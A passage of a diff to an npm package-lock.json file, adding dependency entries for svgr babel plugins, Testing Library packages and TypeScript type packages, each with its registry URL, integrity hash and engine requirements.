"4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/@surma/rollup-plugin-off-main-thread": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", + "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", + "dependencies": { + "ejs": "^3.1.6", + "json5": "^2.2.0", + "magic-string": "^0.25.0", + "string.prototype.matchall": "^4.0.6" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz", + "integrity": "sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz", + "integrity": "sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-dynamic-title": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz", + "integrity": "sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-svg-em-dimensions": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz", + "integrity": "sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-react-native-svg": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz", + "integrity": "sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-plugin-transform-svg-component": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz", + "integrity": "sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/babel-preset": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-5.5.0.tgz", + "integrity": "sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==", + "dependencies": { + "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0", + "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1", + "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1", + "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0", + "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0", + "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0", + "@svgr/babel-plugin-transform-svg-component": "^5.5.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/core": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/core/-/core-5.5.0.tgz", + "integrity": "sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==", + "dependencies": { + "@svgr/plugin-jsx": "^5.5.0", + "camelcase": "^6.2.0", + "cosmiconfig": "^7.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/hast-util-to-babel-ast": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz", + "integrity": "sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==", + "dependencies": { + "@babel/types": "^7.12.6" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-jsx": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz", + "integrity": "sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==", + "dependencies": { + "@babel/core": "^7.12.3", + "@svgr/babel-preset": "^5.5.0", + "@svgr/hast-util-to-babel-ast": "^5.5.0", + "svg-parser": "^2.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/plugin-svgo": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz", + "integrity": "sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==", + "dependencies": { + "cosmiconfig": "^7.0.0", + "deepmerge": "^4.2.2", + "svgo": "^1.2.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@svgr/webpack": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/@svgr/webpack/-/webpack-5.5.0.tgz", + "integrity": "sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==", + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/plugin-transform-react-constant-elements": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@svgr/core": "^5.5.0", + "@svgr/plugin-jsx": "^5.5.0", + "@svgr/plugin-svgo": "^5.5.0", + "loader-utils": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/gregberge" + } + }, + "node_modules/@testing-library/dom": { + "version": "9.3.4", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-9.3.4.tgz", + "integrity": "sha512-FlS4ZWlp97iiNWig0Muq8p+3rVDjRiYE+YKGbAqXOu9nwJFFOdL00kFpz42M+4huzYi86vAK1sOOfyOG45muIQ==", + "dev": true, + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.1.3", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@testing-library/dom/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@testing-library/dom/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@testing-library/dom/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/dom/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "peer": true + }, + "node_modules/@testing-library/dom/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/dom/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "5.17.0", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-5.17.0.tgz", + "integrity": "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg==", + "dev": true, + "dependencies": { + "@adobe/css-tools": "^4.0.1", + "@babel/runtime": "^7.9.2", + "@types/testing-library__jest-dom": "^5.9.1", + "aria-query": "^5.0.0", + "chalk": "^3.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.5.6", + "lodash": "^4.17.15", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=8", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@testing-library/jest-dom/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/react": { + "version": "11.2.7", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-11.2.7.tgz", + "integrity": "sha512-tzRNp7pzd5QmbtXNG/mhdcl7Awfu/Iz1RaVHY75zTdOkmHCuzMhRL83gWHSgOAcjS3CCbyfwUHMZgRJb4kAfpA==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.12.5", + "@testing-library/dom": "^7.28.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "*", + "react-dom": "*" + } + }, + "node_modules/@testing-library/react/node_modules/@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "dev": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/@testing-library/react/node_modules/@testing-library/dom": { + "version": "7.31.2", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-7.31.2.tgz", + "integrity": "sha512-3UqjCpey6HiTZT92vODYLPxTBWlM8ZOOjr3LX5F37/VRipW2M1kX6I/Cm4VXzteZqfGfagg8yXywpcOgQBlNsQ==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^4.2.0", + "aria-query": "^4.2.2", + "chalk": "^4.1.0", + "dom-accessibility-api": "^0.5.6", + "lz-string": "^1.4.4", + "pretty-format": "^26.6.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@testing-library/react/node_modules/@types/aria-query": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-4.2.2.tgz", + "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==", + "dev": true + }, + "node_modules/@testing-library/react/node_modules/@types/yargs": { + "version": "15.0.19", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.19.tgz", + "integrity": "sha512-2XUaGVmyQjgyAZldf0D0c14vvo/yv0MhQBSTJcejMMaitsn3nxCB6TmH4G0ZQf+uxROOa9mpanoSm8h6SG/1ZA==", + "dev": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@testing-library/react/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@testing-library/react/node_modules/aria-query": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz", + "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.10.2", + "@babel/runtime-corejs3": "^7.10.2" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/@testing-library/react/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@testing-library/react/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@testing-library/react/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/@testing-library/react/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/react/node_modules/pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "dev": true, + "dependencies": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/@testing-library/react/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true + }, + "node_modules/@testing-library/react/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@testing-library/user-event": { + "version": "12.8.3", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-12.8.3.tgz", + "integrity": "sha512-IR0iWbFkgd56Bu5ZI/ej8yQwrkCv8Qydx6RzwbKz9faXazR/+5tvYKsZQgyXJiwgpcva127YO6JcWy7YlCfofQ==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@tootallnate/once": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", + "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "dev": true, + "peer": true + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.6.8", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.8.tgz", + "integrity": "sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.5.tgz", + "integrity": "sha512-WXCyOcRtH37HAUkpXhUduaxdm82b4GSlyTqajXviN4EfiuPgNYR109xMCKvpl6zPIpua0DGlMEDCq+g8EdoheQ==", + "dependencies": { + "@babel/types": "^7.20.7" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.5", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.5.tgz", + "integrity": "sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/bonjour": { + "version": "3.5.13", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.13.tgz", + "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/connect-history-api-fallback": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz", + "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==", + "dependencies": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } + }, + "node_modules/@types/eslint": { + "version": "8.56.2", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.2.tgz", + "integrity": "sha512-uQDwm1wFHmbBbCZCqAlq6Do9LYwByNZHWzXppSnay9SuwJ+VRbjkbLABer54kcPnMSlG6Fdiy2yaFXm/z9Z5gw==", + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.7", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz", + "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==" + }, + "node_modules/@types/express": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.21.tgz", + "integrity": "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.43", + "resolved": 